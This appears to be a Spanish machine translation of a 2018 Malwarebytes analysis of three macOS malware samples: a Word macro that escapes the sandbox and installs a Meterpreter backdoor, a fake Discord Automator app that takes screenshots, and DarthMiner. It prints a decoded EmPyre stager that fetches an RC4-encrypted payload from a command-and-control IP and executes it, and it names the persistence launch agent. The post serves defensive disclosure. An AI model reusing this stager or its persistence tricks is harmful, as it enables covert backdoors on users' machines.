Publicado: 11 de diciembre de 2018 por Thomas Reed
La semana pasada, escribimos sobre una nueva pieza de malware llamada DarthMiner . Resulta que había más cosas que ver, ya que no solo se habían detectado una, sino dos piezas de malware adicionales. El primero fue identificado por John Lambert de Microsoft y analizado por Patrick Wardle de Objective-See, y el segundo fue encontrado por Adam Thomas de Malwarebytes.
Lambert identificó un documento malintencionado de Microsoft Word que contenía una macro maliciosa de Visual Basic en un tweet que proporcionaba un enlace VirusTotal al archivo. Wardle analizó el documento , que se llamó BitcoinMagazine-Quidax_InterviewQuestions_2018.docm , y la carga útil que se eliminó.
Por lo general, las macros en los documentos de Microsoft Office están en un espacio aislado, lo que significa que no deberían tener ninguna capacidad para realizar cambios en el sistema de archivos. Sin embargo, en este caso, el documento utiliza un escape de sandbox para crear un agente de inicio en el sistema. Este agente de inicio proporciona persistencia a un script de Python que configura una puertatrasera Meterpreter .
Curiosamente, este malware es un trabajo de copiar y pegar de una prueba de concepto publicada por Adam Chester en febrero, incluso para reciclar los identificadores que se refieren al sitio del blog de Chester, excepto que Chester formuló la hipótesis con EmPyre en lugar de Meterpreter como el puerta trasera.
Por supuesto, el ataque se basa en que el usuario abra un documento malicioso de Word y permita que se ejecuten las macros, por lo que la ingeniería social es la trampa principal. Mientras que nunca, nuncapermite que las macros se ejecuten en documentos de Microsoft Office, que está a salvo de este tipo de software malicioso.
El viernes, Adam Thomas encontró una copia maliciosa de Discord, una aplicación para que los jugadores se comuniquen con otros jugadores. Sin embargo, esta copia de Discord no parecía hacer nada, porque en realidad era un script de Automator que no hacía nada por el usuario.
La secuencia de comandos, que se muestra en el formulario editado anteriormente para ajustarse a una captura de pantalla, decodifica y ejecuta una carga útil de Python, luego comienza a tomar capturas de pantalla repetidamente y las carga en un servidor de comando y control (C&C).
La carga útil decodificada incluye un poco de código Python, incluidos dos fragmentos adicionales de Python codificado en base64. Uno de estos bits de código configura una puerta trasera EmPyre:
qPnQAZwbqBZ = 'PBlqIV' import sys, urllib2; import re, subprocess; cmd = "ps -ef | grep Little \ Snitch | grep -v grep" ps = subprocess.Popen (cmd, shell = True, stdout = subprocess.PIPE) out = ps.stdout.read () ps.stdout.close () Si re.search ("Little Snitch", fuera): sys.exit () o = __ importar __ ({2: 'urllib2', 3: 'urllib.request'} [sys.version_info [0]], fromlist = ['build_opener']). build_opener (); UA = 'Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.11; rv: 45.0) Gecko / 20100101 Firefox / 45.0 '; o.addheaders = [(' User-Agent ', UA)]; a = o.open (' http://37.1.221.204:8080 /index.asp '). read (); key =' 7b3639a4ab39765739a5e0ed75bc8016 '; S, j, out = range (256), 0, [] para i en rango (256): j = (j + S [i] + ord (clave [i% len (clave)]))% 256 S [i], S [j] = S [j], S [i] i = j = 0 para char en un: i = (i + 1)% 256 j = (j + S [i])% 256 S [i], S [j] = S [j], S [i] out.append (chr (ord (char) ^ S [(S [i] + S [j])% 256])) exec (''. join (out))
La secuencia de comandos también configura un agente de inicio denominado com.apple.systemkeeper.plist , que mantiene de forma persistente el código de captura de pantalla y el código de puerta trasera EmPyre en ejecución.
Este malware no es realmente convincente, ya que no hace nada en absoluto para pretender que es una aplicación legítima de Discord. No es una copia maliciosamente modificada de la aplicación Discord. Ni siquiera incluye y lanza una copia de la aplicación Discord, que podría hacer fácilmente como un subterfugio para hacer que la aplicación parezca legítima. Para el caso, ¡ni siquiera usa un icono convincente!
En su lugar, el malware utiliza un icono genérico de applet de Automator, y todo lo que sucede cuando se ejecuta es que aparece un icono de engranaje en la barra de menú (como es normal en cualquier secuencia de comandos de Automator).
Por supuesto, cuando el usuario nota que algo está mal, el malware ha configurado el agente de inicio, abrió la puerta trasera y envió algunas capturas de pantalla. Muchos usuarios pueden notar que algo está apagado, pero es posible que no sepan qué hacer al respecto.
Hay algunas similitudes interesantes entre este malware falso de Discord, que Malwarebytes detecta como OSX.LamePyre , y el malware OSX.DarthMiner descubierto a principios de esta semana. Ambos se distribuyen en forma de applets de Automator, ambos ejecutan scripts de Python y ambos usan una puerta trasera EmPyre.
Sin embargo, también hay algunas diferencias. Los medios para ejecutar el script de Python son diferentes en estos dos casos. Además, el propósito primario aparente para el malware también es diferente: la criptomina, en el caso de DarthMiner, y las capturas de pantalla, en el caso de LamePyre.
Parece probable que estos puedan ser hechos por la misma persona, pero también es posible que uno sea un imitador de la otra.
El malware de macro de Word (que Malwarebytes actualmente detecta como OSX.BadWord , por falta de un nombre oficial) también configura una puerta trasera utilizando Python, y al igual que OSX.DarthMiner, ejecuta el código Python directamente en el agente de lanzamiento, que es algo inusual . Por supuesto, utiliza una puerta trasera diferente y un método de entrega diferente.
Los tres han hecho un uso intensivo del código prestado en forma de puertas traseras de código abierto (EmPyre en dos casos, el módulo Meterpreter de Metasploit en el tercero), así como copiar y pegar el código de vulnerabilidad VBA directamente desde el blog de un investigador.
Las similitudes entre todos estos malware, así como la estrecha coincidencia en el tiempo (todos se enviaron por primera vez a VirusTotal en un período de aproximadamente un mes), pueden significar que todos fueron creados por el mismo desarrollador de malware.
Sin embargo, no hay evidencia concreta para esa suposición en este momento. Las direcciones IP con las que se comunican estas piezas de malware están distribuidas por todo el mundo en los EE. UU., Luxemburgo, Alemania y los Países Bajos, y no hay conexiones obvias entre ellas. El código es similar, pero no idéntico.
En este momento, estamos llamando a cada uno de ellos con un nombre diferente, pero seguiremos investigando.
Mientras tanto, las mejores cosas que puede hacer para mantenerse a salvo son:
Sobre el autor